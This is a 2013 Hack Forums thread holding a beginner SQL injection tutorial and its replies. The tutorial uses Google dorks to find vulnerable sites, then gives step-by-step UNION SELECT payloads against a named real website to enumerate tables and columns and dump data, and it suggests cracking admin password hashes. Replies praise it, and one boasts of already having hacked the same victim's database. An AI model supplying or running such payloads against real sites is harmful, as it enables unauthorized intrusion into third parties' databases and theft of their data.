

Forum: [Hack Forums](#)

Thread: [\[Tutorial\]SQL Injection](#)

t0rch - May 9, 2013, 7:24 pm

SQL Injection

In this Tutorial I will teach you how to do the following

Use Google Dorks

Find an SQLi Vulnerable Website

Exploit this vulnerability

and extract information.

I'm also going to teach you these following things

What SQL Is

The History of SQL

What is SQL?

SQL (or Structured Query Language) is a special-purpose programming language designed for managing data held in a relational database management system (RDBMS).

SQL became a standard of the American National Standards Institute (ANSI) in 1986, and of the International Organization for Standards (ISO) in 1987. Since then, the standard has been enhanced several times with added features. But code is not completely portable among different database systems, which can lead to vendor lock-in. The different makers do not perfectly follow the standard, they add extensions, and the standard is sometimes ambiguous.

Using Google Dorks:

Google dorks are a way of using google too search for vulnerabilities in other sites. One site to go to to get a better Idea as to what Google dorks are is: <http://www.exploit-db.com/google-dorks/>

But for now the only google dorks we will be using are;

inurl:index.php?id=

inurl:page.php?id=

inurl:article.php?id=

These will list all websites containing "index.php?id=" in the URL. (Depending on Dork you use)

NOW, enter that into google and start opening webpages.

Finding SQLi Vulnerability

Too find SQL Injection vulnerabilities in websites is very simple. You can simply use a single ' or a " at the end of the url.

Example: <http://www.example.com/index.php?id=1'>

Example: [http://www.example.com/index.php?id=1"](http://www.example.com/index.php?id=1\)

IF The website is vulnerable it will produce an error Similar to the following:

Code Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"' at line 1

If you see this that means you have (Potentially) found a SQL Injection vulnerable website.

Exploiting the vulnerability

For the purpose of this Tutorial I will be using the website:

<http://www.clanwilliam.info/index.php?id=1>

Which is SQL injection vulnerable.

Step 1: Finding how many columns the site has.

To do this we use the Order By query until we find the amount of columns it has. Like So:

Code <http://www.clanwilliam.info/index.php?id=1> order by 100--

We will most likely get an error saying

Code Query failed: Unknown column '100' in 'order clause'. That means the number is too high so we lower it

Code <http://www.clanwilliam.info/index.php?id=1> order by 10--

If we get an error yet again, the number is still to high.

Code <http://www.clanwilliam.info/index.php?id=1> order by 1--

The page will most likely load succesfully, if not, then the site may not be fully vulnerable to SQL injection.

If it loads successfully increase the number

Code <http://www.clanwilliam.info/index.php?id=1> order by 5--

If it loads successfully, increase the number yet again.

Code <http://www.clanwilliam.info/index.php?id=1> order by 7--

Once you get to the Max number where it loads successfully, that is the amount of columns a site has. Onto step 2

Step 2: Finding the vulnerable columns

Too do this we use Union All Select

Like So;

Code `http://www.clanwilliam.info/index.php?id=1 union all select 1,2,3,4,5,6,7--`

With some sites that won't be enough to find the vulnerable columns, sometimes it needs the extra push. So we need to force the error.

Add a - behind the 1 on `index.php?id=1`

the url should look like

Code `http://www.clanwilliam.info/index.php?id=-1 union all select 1,2,3,4,5,6,7--`

Now it will show the vulnerable columns. The vulnerable columns will be numbers that weren't there before, the page will also look a lot different.

In this case Columns 2 and 4 are vulnerable.

Step 3: Exploiting vulnerability

Now here comes the hardest part (Mind you its not that hard at all ?).

Lets just collect some info about our site. Such as Database() Name, User() name, and the Version().

Remember the vulnerable columns from before? This is where we use them!

In your Union All Select statement replace the vulnerable column numbers with the three bits of info you want. (Version() User() Version()).

Code `http://www.clanwilliam.info/index.php?id=1 union all select 1,2,3,Version(),5,6,7--`

Code `http://www.clanwilliam.info/index.php?id=1 union all select 1,2,3,database(),5,6,7--`

Code `http://www.clanwilliam.info/index.php?id=1 union all select 1,2,3,User(),5,6,7--`

Where the 4 was on the page before (Or what ever vulnerable column number you used) The bits of info will show. On this website the three pieces of info are

Code Database(): `clanwi_db1`

User(): `clanwi_1@www9.cpt1.host-h.net`

Version(): `5.1.66-0+squeeze1-log`

Great, our first bits of extracted data!

We should get some more ?

Now before we continue on there are somethings that you'll need.

- Firefox Browser
- HackBar Plugin

Okay lets continue on.

Next step is to list all the tables. We will now use Code `Group_Concat(column_name)` and Code from `information_schema.tables` where `table_schema=database()`--

Don't worry its more simple then it looks!

Code `http://www.clanwilliam.info/index.php?id=-1 union all select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables where`

table_schema=database)--

Hey Look! Data ?

Code

tbl establishment, tbl esttype, tbl events, tbl page, tbl specials, tbl stats, tbl statsreport, tbl statsreportfailed, tbl statsreportprocessed, tbl usage

Well done you've successfully extracted the table names. But wait...there's more!

Sadly there is no admin table, but sometimes there is. So lets go with tblstats.

Have you installed that firefox plugin yet? Cause you are going to need it.

Next thing you need to do is replace Code Group_Concat(Table_Name) with Code group_concat(column_name). If you have HackBar installed press F9, click SQL drop down button go to MySQL then click MySQL CHAR() and Enter the table name. In this case, TblStats.

and replace Code from information_schema.tables where table_schema=database)-- with

Code from information_schema.columns where table_name=MYSQLCHAR

The Char will be the code you receive from HackBar in this case

Code CHAR(116, 98, 108, 115, 116, 97, 116, 115)--

The Final URL will look like this:

Code <http://www.clanwilliam.info/index.php?id=-1 union all select>

1,2,3,group_concat(column_name),5,6,7 from information_schema.columns where table_name=CHAR(116, 98, 108, 115, 116, 97, 116, 115)--

Okay, cool, we have the column names now.

Code rowid,est_id,timestamp,action,ip

Now to get the data from these columns. Too do this replace Code group_concat(column_name) with Code group_concat(columnname1,0x3a,anothercolumnname2).

Where Columnname1 and anothercolumnname2 are the column names you want to extract data from. Such as Action and IP

Now change Code from information_schema.columns where table_name=CHAR to

Code From tblstats If you want to extract data from a different table name change tblstats to the table name you want to extract data from.

We've now extracted data! Good Job.

Now sadly there was no admin table, but if you come accross the admin table, and you find Username tables and password tables you will find MD5 hashed passwords usually. Too decrypt these go to md5decrypter.co.uk its a great site!

You also need to find the admin control panel, try simple URL's like /admin or /login etc... look on google for an admin page finder.

I'm sorry this is a bit of a messy tutorial its late and I'm very tired.

Hope this helps though!

BinKill-Ethical ?

originalserv3r.exe - May 9, 2013, 7:27 pm

very HQ awesomejob OP!

ive jus started out with sql and it sucks that i always get stuck sometimes, hopefully this should be of better use :)

Unacknowledged - May 9, 2013, 7:27 pm

Looks like most of the other tutorials, nevertheless it is pretty nice. Try using [code] tags next time!

t0rch - May 9, 2013, 7:29 pm

I'll edit it a bit more, make it look prettier :P and thanks!

Timmy™ - May 9, 2013, 7:32 pm

Just read it all. I'll try it out soon. Very nive tut!

Iced Smoke - May 9, 2013, 7:34 pm

I guess this is a good tut. Good work OP

t0rch - May 9, 2013, 7:39 pm

Glad I was able to help!

BinKill-Ethical ?

There, Edits made.

BinKill-Ethical ?

t0rch - May 11, 2013, 1:37 pm

Working on videos....

BinKill-Ethical ?

t0rch - May 19, 2013, 10:41 am

XSS tutorial coming soon!

BinKill-Ethical ?

Lev (???) - May 19, 2013, 11:11 am

This one was a nice attempt,

But u could have explain takin some eg of vulnerable site....

(May 19, 2013 10:41 AM)BinKill-Ethical Wrote: [\[CITE\]](#) XSS tutorial coming soon!

BinKill-Ethical ?

Looking forward to your xss?

Auxil - May 19, 2013, 11:18 am

Very nice. Seems very noob friendly. Good job OP.

t0rch - May 20, 2013, 3:59 am

Thanks for the feedback!

BinKill-Ethical ?

Johnson Licker - May 20, 2013, 4:43 am

Thankyou very much for this! I wanted to do an SQL injection on a Minecraft server website I know of, but it isn't vulnerable. :(

t0rch - May 20, 2013, 4:59 am

The key to success with SQL Injection is to keep trying. Sometimes only certain parts I find are vulnerable.

BinKill-Ethical ?

tigerz09 - November 11, 2013, 6:07 am

Very nice work you got there buddy, very HQ keep it up! :)

t0rch - November 11, 2013, 8:34 am

(Nov 11, 2013 07:07 AM)tigerz09 Wrote: [\[CITE\]](#) Very nice work you got there buddy, very HQ keep it up! :)

Thank you! More tutorials will come in the future.

BinKill-Ethical ?

Dropbox - December 17, 2013, 8:48 am

awesome tutorial, i think many people will find this really useful specially people like me who have very little knowledge about SQL injection

t0rch - December 17, 2013, 9:35 am

(Dec 17, 2013 09:48 AM)Abzs Wrote: [\[CITE\]](#) awesome tutorial, i think many people will find this really useful specially people like me who have very little knowledge about SQL injection

Glad I could help!

BinKill-Ethical ?

Niggz - December 17, 2013, 10:05 am

There are so many tutorials for SQLi on HF already that this won't even be of use to anyone. But nice job still, you put a lot of effort into it.

Calla - December 17, 2013, 11:39 am

Good tut. It's easy enough to understand, thanks!

t0rch - December 17, 2013, 11:44 am

(Dec 17, 2013 12:39 PM)Calla Wrote: [\[CITE\]](#) Good tut. It's easy enough to understand, thanks!

No problem! Glad I could help!

BinKill-Ethical ?

Graphiix - December 17, 2013, 2:00 pm

Wow! Nice tutorial! I'll be using this. ;P

t0rch - December 17, 2013, 2:14 pm

(Dec 17, 2013 03:00 PM)Graphiix Wrote: [\[CITE\]](#) Wow! Nice tutorial! I'll be using this. ;P

Thank you ? Glad I could help!

BinKill-Ethical ?

sasami_327 - December 18, 2013, 5:05 pm

hello. good tutorial, and thanks you.. :)

HarveySpecter - December 18, 2013, 7:02 pm

Thank you for this thread it was really helpful.

t0rch - December 19, 2013, 6:19 am

(Dec 18, 2013 08:02 PM)PuffingTrees Wrote: [\[CITE\]](#) Thank you for this thread it was really helpful.
Glad I could help ?

BinKill-Ethical ?

ProblemSolva - December 19, 2013, 2:19 pm

hahha u used the same victim as me.
i already hacked their database once :P
Good tutorial dude.

t0rch - December 19, 2013, 9:21 pm

(Dec 19, 2013 03:19 PM)ProblemSolva Wrote: [\[CITE\]](#) hahha u used the same victim as me.
i already hacked their database once :P
Good tutorial dude.
Hehe yeah, used a rather common dork to find it! Thank you for the comment.

BinKill-Ethical ?

Palash Motghare - March 6, 2015, 1:06 pm

thankz a lot man ... i appreciate your tut

xVipX - March 14, 2015, 10:20 am

I guess this is a good tut. big up bro

Villezzai - March 14, 2015, 10:22 am

Thanks for this great tutorial dude!

aNDRElelel - March 15, 2015, 12:34 am

Wow! Nice tutorial! I'll be using this. ;P

Sharkky - July 27, 2015, 8:38 am

Awesomly awesome !! Was exactly what I was looking for. Great work dude :)
I'll now be able to solve little challenges here on hf :D

PS : Now, can someone explain to me why some columns are vulnerable ? And how do I do to secure it ?

rahimakbulut - July 29, 2015, 8:34 am

thanks bro, good system. ++++++